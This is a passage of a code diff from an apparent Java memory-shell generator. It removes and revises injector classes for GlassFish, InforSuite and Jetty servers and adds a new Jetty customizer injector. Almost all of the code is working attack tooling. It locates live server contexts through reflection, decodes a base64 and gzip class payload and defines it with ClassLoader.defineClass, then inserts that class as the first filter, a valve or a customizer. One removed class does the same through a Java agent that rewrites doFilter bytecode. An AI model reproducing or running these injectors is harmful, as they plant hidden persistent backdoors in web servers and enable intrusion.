-                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
-            }
-        }
-
-        @SuppressWarnings("all")
-        public void push(final int value) {
-            if (value >= -1 && value <= 5) {
-                mv.visitInsn(Opcodes.ICONST_0 + value);
-            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
-                mv.visitIntInsn(Opcodes.BIPUSH, value);
-            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
-                mv.visitIntInsn(Opcodes.SIPUSH, value);
-            } else {
-                mv.visitLdcInsn(new Integer(value));
-            }
-        }
-
-        private int getArgIndex(final int arg) {
-            int index = 1;
-            for (int i = 0; i < arg; i++) {
-                index += argumentTypes[i].getSize();
-            }
-            return index;
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-            return out.toByteArray();
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            try {
-                if (gzipInputStream != null) {
-                    gzipInputStream.close();
-                }
-                out.close();
-            } catch (Exception ignored) {
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public void defineTargetClass(ClassLoader loader) {
-        try {
-            loader.loadClass(getClassName());
-            return;
-        } catch (ClassNotFoundException ignored) {
-        }
-        try {
-            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
-            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
-            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
-        } catch (Exception ignored) {
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java

@@ -1,215 +0,0 @@
-package com.reajason.javaweb.memshell.injector.glassfish;
-
-import org.objectweb.asm.*;
-
-import java.io.ByteArrayInputStream;
-import java.io.ByteArrayOutputStream;
-import java.lang.instrument.ClassFileTransformer;
-import java.lang.instrument.Instrumentation;
-import java.security.ProtectionDomain;
-import java.util.zip.GZIPInputStream;
-
-/**
- * @author ReaJason
- * @since 2025/3/26
- */
-public class GlassFishFilterChainAgentInjector implements ClassFileTransformer {
-    private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain";
-    private static final String TARGET_METHOD_NAME = "doFilter";
-
-    public static String getClassName() {
-        return "{{advisorName}}";
-    }
-
-    public static String getBase64String() {
-        return "{{base64String}}";
-    }
-
-    public static void premain(String args, Instrumentation inst) throws Exception {
-        launch(inst);
-    }
-
-    public static void agentmain(String args, Instrumentation inst) throws Exception {
-        launch(inst);
-    }
-
-    private static void launch(Instrumentation inst) throws Exception {
-        System.out.println("MemShell Agent is starting");
-        inst.addTransformer(new GlassFishFilterChainAgentInjector(), true);
-        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
-            String name = allLoadedClass.getName();
-            if (TARGET_CLASS.replace("/", ".").equals(name)) {
-                inst.retransformClasses(allLoadedClass);
-            }
-        }
-    }
-
-    @Override
-    @SuppressWarnings("all")
-    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
-                            ProtectionDomain protectionDomain, byte[] bytes) {
-        if (TARGET_CLASS.equals(className)) {
-            defineTargetClass(loader);
-            try {
-                ClassReader cr = new ClassReader(bytes);
-                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
-                    @Override
-                    protected ClassLoader getClassLoader() {
-                        return loader;
-                    }
-                };
-                ClassVisitor cv = getClassVisitor(cw);
-                cr.accept(cv, ClassReader.EXPAND_FRAMES);
-                System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
-                return cw.toByteArray();
-            } catch (Throwable e) {
-                e.printStackTrace();
-            }
-        }
-        return bytes;
-    }
-
-    @SuppressWarnings("all")
-    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
-        return new ClassVisitor(Opcodes.ASM9, cv) {
-            @Override
-            public MethodVisitor visitMethod(int access, String name, String descriptor,
-                                             String signature, String[] exceptions) {
-                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
-                if (TARGET_METHOD_NAME.equals(name)) {
-                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
-                }
-                return mv;
-            }
-        };
-    }
-
-    public static class AgentShellMethodVisitor extends MethodVisitor {
-        private final Type[] argumentTypes;
-        private final String className;
-
-        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
-            super(Opcodes.ASM9, mv);
-            this.argumentTypes = argTypes;
-            this.className = className;
-        }
-
-        @Override
-        public void visitCode() {
-            loadArgArray();
-            Label tryStart = new Label();
-            Label tryEnd = new Label();
-            Label catchHandler = new Label();
-            Label ifConditionFalse = new Label();
-            Label skipCatchBlock = new Label();
-            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
-
-            mv.visitLabel(tryStart);
-            String internalClassName = className.replace('.', '/');
-            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
-            mv.visitInsn(Opcodes.DUP);
-            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
-            mv.visitInsn(Opcodes.SWAP);
-            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
-                    "java/lang/Object",
-                    "equals",
-                    "(Ljava/lang/Object;)Z",
-                    false);
-            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
-            mv.visitInsn(Opcodes.RETURN);
-            mv.visitLabel(ifConditionFalse);
-            mv.visitLabel(tryEnd);
-            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
-            mv.visitLabel(catchHandler);
-            mv.visitInsn(Opcodes.POP);
-            mv.visitLabel(skipCatchBlock);
-        }
-
-        public void loadArgArray() {
-            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
-            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
-            for (int i = 0; i < argumentTypes.length; i++) {
-                mv.visitInsn(Opcodes.DUP);
-                push(i);
-                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
-                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
-            }
-        }
-
-        @SuppressWarnings("all")
-        public void push(final int value) {
-            if (value >= -1 && value <= 5) {
-                mv.visitInsn(Opcodes.ICONST_0 + value);
-            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
-                mv.visitIntInsn(Opcodes.BIPUSH, value);
-            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
-                mv.visitIntInsn(Opcodes.SIPUSH, value);
-            } else {
-                mv.visitLdcInsn(new Integer(value));
-            }
-        }
-
-        private int getArgIndex(final int arg) {
-            int index = 1;
-            for (int i = 0; i < arg; i++) {
-                index += argumentTypes[i].getSize();
-            }
-            return index;
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-            return out.toByteArray();
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            try {
-                if (gzipInputStream != null) {
-                    gzipInputStream.close();
-                }
-                out.close();
-            } catch (Exception ignored) {
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public void defineTargetClass(ClassLoader loader) {
-        try {
-            loader.loadClass(getClassName());
-            return;
-        } catch (ClassNotFoundException ignored) {
-        }
-        try {
-            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
-            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-            defineClass.setAccessible(true);
-            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
-        } catch (Exception ignored) {
-        }
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

@@ -7,7 +7,7 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -18,7 +18,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class GlassFishFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,16 +34,21 @@ public class GlassFishFilterInjector {
     }
 
     public GlassFishFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +57,7 @@ public class GlassFishFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -75,8 +82,8 @@ public class GlassFishFilterInjector {
      * com.sun.enterprise.web.WebModule
      * /xxx/modules/web-glue.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -122,15 +129,18 @@ public class GlassFishFilterInjector {
         }
         Object filterDef;
         Object filterMap;
+        Class<?> filterMapClass;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tomcat v8+
             filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
+            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             // tomcat v5+
             filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+            filterMap = filterMapClass.newInstance();
         }
 
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -141,19 +151,16 @@ public class GlassFishFilterInjector {
         }
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        Constructor<?>[] constructors;
         try {
             invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         } catch (Exception e) {
             // tomcat v5
             invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         }
-        try {
-            // v7.0.0 以上
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-        } catch (Exception e) {
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-        }
+
+        // addFilterMapFirst
+        List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
+        filterMaps.add(0, filterMap);
 
         Constructor filterConfigConstructor;
         filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -224,21 +231,39 @@ public class GlassFishFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
             try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
 
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class GlassFishValveInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -26,16 +27,21 @@ public class GlassFishValveInjector {
 
 
     public GlassFishValveInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -44,6 +50,7 @@ public class GlassFishValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -64,8 +71,8 @@ public class GlassFishValveInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
-import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -16,7 +16,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class InforSuiteFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -31,16 +32,21 @@ public class InforSuiteFilterInjector {
     }
 
     public InforSuiteFilterInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -49,6 +55,7 @@ public class InforSuiteFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -73,8 +80,8 @@ public class InforSuiteFilterInjector {
      * com.cvicse.loong.enterprise.web.WebModule
      * /usr/local/inforsuite/as/modules/web-glue.jar
      */
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -88,7 +95,7 @@ public class InforSuiteFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -121,17 +128,28 @@ public class InforSuiteFilterInjector {
         }
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-        Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+        Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+        Object filterMap = filterMapClass.newInstance();
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
         invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
         invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
 
+        // addFilterMapFirst
         try {
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            Object filterMaps = getFieldValue(context, "filterMaps");
+            if (filterMaps instanceof List) {
+                // InforSuite9
+                ((List<Object>) filterMaps).add(0, filterMap);
+            }
         } catch (Exception e) {
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            // InforSuite10
+            Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
+            Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
+            results[0] = filterMap;
+            System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
+            setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
         }
 
         Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -185,52 +203,54 @@ public class InforSuiteFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
-        Field field = getField(obj, fieldName);
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+@SuppressWarnings("all")
+public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    Field field = getField(obj, name);
         field.setAccessible(true);
         return field.get(obj);
     }
 
-    @SuppressWarnings("all")
-    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
-        Class<?> clazz = obj.getClass();
-        while (clazz != null) {
-            try {
-                Field field = clazz.getDeclaredField(fieldName);
-                field.setAccessible(true);
-                return field;
-            } catch (NoSuchFieldException e) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        throw new NoSuchFieldException(fieldName);
+
+public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+    Field field = getField(obj, fieldName);
+    field.setAccessible(true);
+    field.set(obj, value);
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
                 }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
             }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java

@@ -0,0 +1,220 @@
+package com.reajason.javaweb.memshell.injector.jetty;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class JettyCustomizerInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    public JettyCustomizerInjector() {
+        if (ok) {
+            return;
+        }
+        Object channel = null;
+        try {
+            channel = getChannel();
+        } catch (Throwable throwable) {
+            msg += "channel error: " + getErrorMessage(throwable);
+        }
+        if (channel == null) {
+            msg += "channel not found";
+        } else {
+            try {
+                msg += ("channel: [" + channel + "] ");
+                Object shell = getShell(channel);
+                inject(channel, shell);
+                msg += "[/*] ready\n";
+            } catch (Throwable e) {
+                msg += "failed " + getErrorMessage(e) + "\n";
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    public void inject(Object channel, Object shell) throws Exception {
+        Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
+        List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
+        for (Object customizer : customizers) {
+            if (customizer.getClass().getName().equals(getClassName())) {
+                return;
+            }
+        }
+        customizers.add(shell);
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    /**
+     * org.eclipse.jetty.server.HttpChannel
+     */
+    private Object getChannel() throws Exception {
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            try {
+                Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
+                for (int i = 0; i < Array.getLength(table); i++) {
+                    Object entry = Array.get(table, i);
+                    if (entry != null) {
+                        Object threadLocalValue = getFieldValue(entry, "value");
+                        if (threadLocalValue != null) {
+                            if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
+                                return getFieldValue(threadLocalValue, "_channel");
+                            }
+                        }
+                    }
+                }
+            } catch (Exception e) {
+            }
+        }
+        return null;
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> clazz = null;
+        try {
+            clazz = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
+    }
+
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+    public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
+        try {
+            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+            Method method = null;
+            while (clazz != null && method == null) {
+                try {
+                    if (paramClazz == null) {
+                        method = clazz.getDeclaredMethod(methodName);
+                    } else {
+                        method = clazz.getDeclaredMethod(methodName, paramClazz);
+                    }
+                } catch (NoSuchMethodException e) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (method == null) {
+                throw new NoSuchMethodException("Method not found: " + methodName);
+            }
+            method.setAccessible(true);
+            return method.invoke(obj instanceof Class ? null : obj, param);
+        } catch (NoSuchMethodException e) {
+            throw e;
+        } catch (Exception e) {
+            throw new RuntimeException("Error invoking method: " + methodName, e);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -5,8 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -18,7 +17,8 @@ import java.util.zip.GZIPInputStream;
 
